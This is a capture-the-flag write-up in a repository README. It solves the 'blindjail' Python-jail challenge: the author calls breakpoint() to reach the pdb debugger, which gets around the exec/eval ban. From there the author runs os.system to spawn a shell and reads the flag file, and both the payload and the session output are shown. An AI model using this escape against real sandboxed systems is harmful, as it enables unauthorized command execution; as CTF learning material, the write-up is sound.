

Files

main

Go to file

>

2023

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daffainfo

feat: grouped the challs

e6c48e5 · last month

History

Name	Last commit message	Last commit date
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images	feat: grouped the challs	last month
README.md	feat: grouped the challs	last month

README.md

blindjail

There is no escape, sometimes going in blind makes other attributes stronger.

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About the Challenge

We were given a server to connect where we can execute a python code (Classic PyJail) but there are some filter like we can't use `exec()` or `eval()` function

```
-----
      fret not that you cannot see, fret that you cannot leave.
>>> exec
Nope, exec  is banned!
>>> eval
Nope, eval  is banned!
>>> print(1)
1
>>> 
```

How to Solve?

I tried several function and luckily the program didn't blacklist `breakpoint()` function. So the final payload will be like this

```
breakpoint()
...
import os
os.system("sh")
```

```
-----
      fret not that you cannot see, fret that you cannot leave.
>>> breakpoint()
--Return--
> <string>(1)<module>()->None
(Pdb) import os
(Pdb) os.system("bash")
ls
flag.txt
main.py
cat flag.txt
nitectf{s11d3_0ver_th3se_4ttribut3s}
```

```
nitectf{s11d3_0ver_th3se_4ttribut3s}
```